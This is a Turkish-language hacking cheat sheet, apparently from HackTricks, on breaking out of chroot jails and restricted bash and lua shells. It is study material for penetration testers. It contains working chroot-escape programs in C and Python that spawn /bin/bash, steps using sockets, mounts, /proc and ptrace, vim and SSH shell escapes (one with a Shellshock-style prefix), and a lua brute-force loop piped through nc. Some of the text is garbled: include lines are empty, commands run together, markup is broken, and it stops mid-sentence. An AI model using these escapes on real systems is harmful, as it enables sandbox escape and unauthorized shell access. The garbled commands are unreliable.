Hacking püf noktalarını paylaşarak PR'ler göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
GTFOBins
"Shell" özelliğine sahip herhangi bir ikili dosyayı çalıştırabilir misiniz diyehttps://gtfobins.github.io/adresinde arama yapın
Chroot Kaçışları
wikipediasitesinden: Chroot mekanizması, açık (root) kullanıcılar tarafından kasıtlı müdahalelere karşı korunmak için tasarlanmamıştır. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar kırılmak için ikinci bir chroot gerçekleştirebilir.
Genellikle bu, kaçmak için chroot içinde kök olmanız gerektiği anlamına gelir.
Araçchw00t aşağıdaki senaryoları kötüye kullanmak ve chroottan kaçmak için oluşturulmuştur.
Root + CWD
Eğer bir chroot içinde kök iseniz, başka bir chroot oluşturarak kaçabilirsiniz. Bu, 2 chroot'un aynı anda var olamayacağı (Linux'ta) için geçerlidir, bu yüzden yeni bir klasör oluşturursanız ve ardından dışında olacak şekilde bu yeni klasörde yeni bir chroot oluşturursanız, artık yeni chroot'un dışında olacaksınız ve dolayısıyla FS içinde olacaksınız.
Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında olabilirsiniz.
Genellikle bir chroot hapishanesi içinde chroot ikili dosyasını bulamazsınız, ancak bir ikili dosya derleyebilir, yükleyebilir ve çalıştırabilirsiniz:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Bu, önceki duruma benzer, ancak bu durumda saldırgan bir dosya tanımlayıcısını mevcut dizine kaydeder ve ardından yeni bir klasörde chroot oluşturur. Son olarak, chroot dışında FD'ye erişimi olduğundan, ona erişir ve kaçar.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD Unix Domain Sockets üzerinden iletilir, bu yüzden:
* Bir çocuk süreç oluştur (fork)
* Ebeveyn ve çocuğun iletişim kurabileceği UDS oluştur
* Çocuk süreçte farklı bir klasörde chroot çalıştır
* Ebeveyn süreçte, yeni çocuk sürecin chroot'unun dışında olan bir klasörün FD'sini oluştur
* UDS kullanarak o FD'yi çocuk sürece ilet
* Çocuk süreç o FD'ye chdir yapar ve chroot'unun dışında olduğundan hapisten kaçar
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kök cihazını (/) chroot içinde bir dizine bağlama
* Bu dizine chroot yapma
Bu Linux'ta mümkündür
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Procfs'i chroot içinde bir dizine bağla (henüz bağlı değilse)
* Farklı bir kök/cwd girişi olan bir pid ara, örneğin: /proc/1/root
* Bu girişe chroot yap
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Bir Fork oluştur (çocuk süreç) ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap
* Ebeveyn süreçten, çocuk sürecin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı
* Bu çocuk süreç chroot'un dışında bulacaktır kendisini
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kullanıcılar zamanında kendi süreçlerini kendi süreçlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil
* Yine de, mümkünse, bir sürece ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Hapishaneleri
### Numaralandırma
Hapishane hakkında bilgi al:
```bash
echo $SHELL
echo $PATH
env
export
pwd
PATH Değiştirme
PATH ortam değişkenini değiştirip değiştiremeyeceğinizi kontrol edin.
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
vim Kullanımı
:setshell=/bin/sh:shell
Betik oluştur
/bin/bash içeriğine sahip yürütülebilir bir dosya oluşturabilir misiniz kontrol edin
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
SSH üzerinden bash alın
Eğer ssh üzerinden erişiyorsanız, bir bash kabuğunu yürütmek için bu hileyi kullanabilirsiniz:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Not alın ki her seferinde önceki tek satırlık komutu farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak kaba kuvvet saldırısı gerçekleştirebilirsiniz:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Etkileşimli lua kabuğu alın: Eğer sınırlı bir lua kabuğunun içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsızdır):